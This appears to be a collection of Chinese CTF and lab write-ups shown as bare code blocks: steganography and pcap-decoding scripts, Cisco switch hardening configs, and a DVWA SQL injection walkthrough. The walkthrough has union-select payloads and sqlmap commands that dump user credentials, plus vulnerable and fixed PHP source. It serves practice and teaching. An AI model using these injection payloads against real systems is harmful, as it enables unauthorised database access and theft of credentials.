1

"DD"DD""""D"DD""""""DD"""DD"DD""D""DDD""D"D"DD""""""DD""D""""DD"D"D"DD""""D"DD""D"""DD"""""DDD""""D"DD"""D"""DD"""D""DD"D"D"DD"""DD""DD"D"D""DD""DD"DD"""D"""DD""DD"DD""D"D""DD"D"D"DD"""D"""DD"""D"DD""DD"""DD"D"D""DD"""D"DD""DD""DD"""""DDD""DD""DD"""D""DD""

1

0110110000101100000011000110110010011100101011000000110010000110101011000010110010001100000111000010110001000110001001101010110001100110101001100110110001000110011011001010011010101100010001100010110011000110101001100010110011001100000111001100110001001100

1

0011001000110011001110000011001100110100011001010110001100110100011000100011010101100101001101100110001000110110011001010110011000110101011001000110001000110100001110000011000100110100001101010110000100110000001101010011100100110110001100000011010000110110

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

with open("E:\Download\misc\派大星的烦恼.bmp","rb") as fr:
    res = fr.read()[4000:4256]
    tmp = []
    for v in res:
        if v == 34:
            tmp.append(0)
        else:
            tmp.append(1)
    fr.close()
for i in range(len(tmp)):
    tmp[i] = str(tmp[i])
a = "".join(tmp)
print(a)
b = []
for i in range(0,len(a),8):
    t = a[i:i+8]
    t = t[::-1]
    b.append(int(t,2))
w = ""
for v in b:
    w+=str(hex(v))[2:]
print(w)

1

flag{6406950a54184bd5fe6b6e5b4ce43832}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

import pyshark
import binascii

# 打开PCAP文件并设置过滤器
packets = pyshark.FileCapture('out.pcap', display_filter="icmp.type==0")

res = []

# 处理每个数据包
for each in packets:
    try:
        # 解码ICMP数据负载
        data = binascii.unhexlify(each.icmp.data).decode()
        
        # 去除头部的 $$START$$
        if data.startswith('$$START$$'):
            data = data[len('$$START$$'):]
        
        # 去除重复项
        if data not in res:
            res.append(data)
    except Exception as e:
        print(f"Error processing packet: {e}")

# 将结果写入文件
with open('out.txt', 'w') as f:
    f.write(''.join(res))

# 关闭数据包读取器
packets.close()

print('done')

1

identify -format '%T' flag.gif

1

2050502050502050205020202050202020205050205020502050205050505050202050502020205020505050205020206666

1

011011010100010000110101010111110011000101110100

1

mD5_1t

1

tshark -r out.pcap -T fields -e data > data.txt

1
2
3
4
5
6

import binascii

with open('data1.txt','r') as file:
    with open('data2.txt','wb') as data:
        for i in file.readlines():
            data.write(binascii.unhexlify(i[:-1]))

1

flag{f0f1003afe4ae8ce4aa8e8487a8ab3b6}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

VLAN0001
  Spanning tree enabled protocol ieee
  Root ID    Priority    32769
             Address     0009.7C61.9058
             Cost        4
             Port        25(GigabitEthernet0/1)
             Hello Time  2 sec  Max Age 20 sec  Forward Delay 15 sec

  Bridge ID  Priority    32769  (priority 32768 sys-id-ext 1)
             Address     00D0.D31C.634C
             Hello Time  2 sec  Max Age 20 sec  Forward Delay 15 sec
             Aging Time  20

Interface        Role Sts Cost      Prio.Nbr Type
---------------- ---- --- --------- -------- --------------------------------
Gi0/2            Desg FWD 4         128.26   P2p
Gi0/1            Root FWD 4         128.25   P2p
Fa0/1            Desg FWD 19        128.1    P2p

1
2
3
4
5
6

VLAN0001
   Spanning tree enabled protocol ieee
   Root ID  Priority      24577
            Address       00D0.D31C.634C
          -->>  This bridge is the root  <<--
            Hello Time  2 sec  Max Age  20 sec   Forward Delay  15 sec

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

SW-A# show port-security interface f0/1
端口安全              : 已启用
端口状态                : 安全且已启动
违规模式             : 关闭端口
老化时间                 : 0分钟
老化类型                 : 绝对时间
静态安全MAC地址老化: 禁用
最大MAC地址数      : 2
总MAC地址数        : 0
已配置MAC地址数   : 0
粘性MAC地址数       : 0
最近源地址:VLAN   : 0000.0000.0000:0
安全违规计数         : 0

1
2

! 使Central成为Vlan1的根桥
spanning-tree vlan 1 root primary

1
2
3
4
5
6

! 使SW-1成为Vlan1的次根桥
spanning-tree vlan 1 root secondary
! 进入f0/23-f0/24端口
interface range fastEthernet 0/23 - fastEthernet 0/24
! 启用STP根防护功能，在此端口不接受拥有更优BID的BPDU报文
spanning-tree guard root 

1
2
3
4

! 进入f0/23-f0/24端口
interface range fastEthernet 0/23 - fastEthernet 0/24
! 启用STP根防护功能，在此端口不接受拥有更优BID的BPDU报文
spanning-tree guard root 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

! 选择接入的端口，F0/1-F0/4
interface range fastEthernet 0/1 - fastEthernet 0/4
! 让F0/1-F0/4端口开启portfast（不参与生成树）
spanning-tree portfast 
! 为他们启用BPDU防护功能，在此端口不接受BPDU；收到BPDU，端口禁用
spanning-tree bpduguard enable 
! 开启access模式
switchport mode access
! 开启端口安全
switchport port-security 
! 设置最大Mac学习数为2
switchport port-security maximum 2
! 设置学习到的Mac地址将被保存
switchport port-security mac-address sticky 
! 设置超过措施：关闭端口
switchport port-security violation shutdown 
! 进入不使用的端口
interface range fastEthernet 0/5 - fastEthernet 0/22
! 关闭
shutdown

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

! 选择接入的端口，F0/1-F0/4
interface range fastEthernet 0/1 - fastEthernet 0/4
! 让F0/1-F0/4端口开启portfast（不参与生成树）
spanning-tree portfast 
! 为他们开启BPDU
spanning-tree bpduguard enable 
! 开启access模式
switchport mode access
! 开启端口安全
switchport port-security 
! 设置最大Mac学习数为2
switchport port-security maximum 2
! 设置学习到的Mac地址将被保存
switchport port-security mac-address sticky 
! 设置超过措施：关闭端口
switchport port-security violation shutdown 
! 进入不使用的端口
interface range fastEthernet 0/5 - fastEthernet 0/22
! 关闭
shutdown

1

steghide extract -sf hh.jpg -p welcom3!

1

think about stegosaurus

1

 flag{3teg0Sauru3_!1}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

# @Author：YueXuan
# @Date  ：2024/9/24 17:19

import zipfile
import os

def extract_zip_with_filename_as_password(zip_path):
    # 检查文件是否存在
    if not os.path.exists(zip_path):
        print(f"File {zip_path} does not exist.")
        return

    # 获取ZIP文件名（不包含路径）
    zip_filename = os.path.basename(zip_path)

    # 获取不带扩展名的文件名
    base_name = os.path.splitext(zip_filename)[0]

    # 尝试使用文件名作为密码解压ZIP文件
    try:
        with zipfile.ZipFile(zip_path, 'r') as zip_ref:
            zip_ref.extractall(pwd=base_name.encode())
            print(f"Successfully extracted {zip_path} with password: {base_name}")

            # 检查解压后的文件是否还是ZIP文件
            for file in zip_ref.namelist():
                new_zip_path = os.path.join(os.getcwd(), file)
                if zipfile.is_zipfile(new_zip_path):
                    # 如果是ZIP文件，则递归调用函数继续解压
                    extract_zip_with_filename_as_password(new_zip_path)
                else:
                    print(f"Extracted file {file} is not a ZIP file.")

    except RuntimeError as e:
        print(f"Failed to extract {zip_path}: {e}")

# 使用示例
# 假设你的ZIP文件位于当前目录下，名称为0573.zip
zip_path = "0573.zip"
extract_zip_with_filename_as_password(zip_path)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

# @Author：YueXuan
# @Date  ：2024/9/24 17:29
from PIL import Image

def parse_rgb(rgb_str):
    # 去除括号并将字符串分割为列表
    rgb_values = [int(value.strip()) for value in rgb_str.strip().replace('(', '').replace(')', '').split(',')]
    return tuple(rgb_values)

def create_image_from_txt(file_path, output_path):
    # 打开文件并读取所有行
    with open(file_path, 'r') as file:
        lines = file.readlines()

    # 解析每一行的RGB值
    pixels = [parse_rgb(line) for line in lines]

    # 计算图像的宽度和高度
    width = int(len(pixels) ** 0.5)
    height = width

    # 创建一个新图像
    image = Image.new('RGB', (width, height))

    # 将像素放入图像中
    for row in range(height):
        for col in range(width):
            index = row * width + col
            if index < len(pixels):
                image.putpixel((col, row), pixels[index])

    # 保存图像
    image.save(output_path)
    print(f"Image saved to {output_path}")

if __name__ == "__main__":
    input_file = "qr.txt"
    output_file = "output_image.png"
    create_image_from_txt(input_file, output_file)

1

flag{ta01uyout1nreet1n0usandtimes}

1

1' or 1=1#

1
2
3

1' order by 1#
1' order by 2#
1' order by 3# 

1

1' union select 1,database()#

1
2
3
4

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

//information_schema 是一个特殊的系统数据库，其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息，如表名、表类型等。
//"1,table_name"中的'1'是一个占位符，用于模拟与原始查询返回相同数量的列，以便UNION操作成功执行。

1

Illegal mix of collations for operation 'UNION'

1
2
3

alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
//将first_name和last_name字段的字符集都设置为了utf8，并指定了排序规则为utf8_general_ci

1

1' union select 1,column_name from information_schema.columns where table_name='users'#

1

1' union select user,password from users#

1
2

alter table users modify user varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;

1

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"

1

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbs

1

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tables

1

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columns

1

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<?php

// 检查是否有"Submit"按钮被点击
if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // 获取用户输入的ID
        $id = $_REQUEST[ 'id' ];

        // 构建SQL查询语句
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        // 执行SQL查询
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // 处理查询结果
        while( $row = mysqli_fetch_assoc( $result ) ) {
                // 获取查询结果中的名字和姓氏
                $first = $row["first_name"];
                $last  = $row["last_name"];
    
                // 拼接输出结果
                $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        // 关闭数据库连接
        mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>

1
2
3

4 order by 1#
4 order by 2#
4 order by 3#

1
2
3
4
5
6
7
8

4 union select 1,database()#
//得到库名
4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
//得到表名
4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#
//得到字段
4 union select user,password from users#
//得到值

1

4 union select 1,database()#

1
2

4 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
4 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

1

4 union select 1,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273#

1

4 union select user,password from users#

1
2

sqlmap -r C:\Users\yuexuan\Desktop\1.txt  --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch --dbs
// -r REQUESTFILE      从文件中读取 HTTP 请求

1

sqlmap -r C:\Users\yuexuan\Desktop\1.txt  --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=medium" --batch -D dvwa -T users -C user,password --dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$id = $_POST[ 'id' ];

	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    //ysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
    //在以下字符前添加反斜线：\x00、\n、\r、\、'、" 和 \x1a.

	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Display values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

1

1' union select user,password from users#

1

sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch --dbs

1

sqlmap -r C:\Users\yuexuan\Desktop\1.txt --second-url "http://dvwa/vulnerabilities/sqli/" --cookie "PHPSESSID=ef4ln5lm529kdmhri3meltn9lk; security=high" --batch -D dvwa -T users -C user,password --dump

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
	// Get input
	$id = $_SESSION[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);		
}

?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
       // Check the database
       $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
       $data->bindParam( ':id', $id, PDO::PARAM_INT );
       $data->execute();
       $row = $data->fetch();

       // Make sure only 1 result is returned
       if( $data->rowCount() == 1 ) {
          // Get values
          $first = $row[ 'first_name' ];
          $last  = $row[ 'last_name' ];

          // Feedback for end user
          $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
       }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

1

GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY

1

JPEG (jpg) 　　文件头：FF D8 FF　　 文件尾：FF D9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

#coding=UTF-8
import os

path = 'D:\\CTF\\CTF_topic\\吹着贝斯扫二维码'   # 需要添加后缀的文件路径
for i in os.listdir('D:\\CTF\\CTF_topic\\吹着贝斯扫二维码'):
	if i == 'flag.zip':
		continue
	else:
		oldname = os.path.join(path, i)
		newname = os.path.join(path, i+'.jpg')
		os.rename(oldname, newname)

1

GNATOMJVIQZUKNJXGRCTGNRTGI3EMNZTGNBTKRJWGI2UIMRRGNBDEQZWGI3DKMSFGNCDMRJTII3TMNBQGM4TERRTGEZTOMRXGQYDGOBWGI2DCNBY

1

3A715D3E574E36326F733C5E625D213B2C62652E3D6E3B7640392F3137274038624148

1

:q]>WN62os<^b]!;,be.=n;v@9/17'@8bAH

1

:d]>JA62bf<^o]!;,or.=a;i@9/17'@8oNU

1

PCtvdWU4VFJnQUByYy4mK1lraTA=

1

<+oue8TRgA@rc.&+Yki0

1

ThisIsSecret!233

1

flag{Qr_Is_MeAn1nGfuL}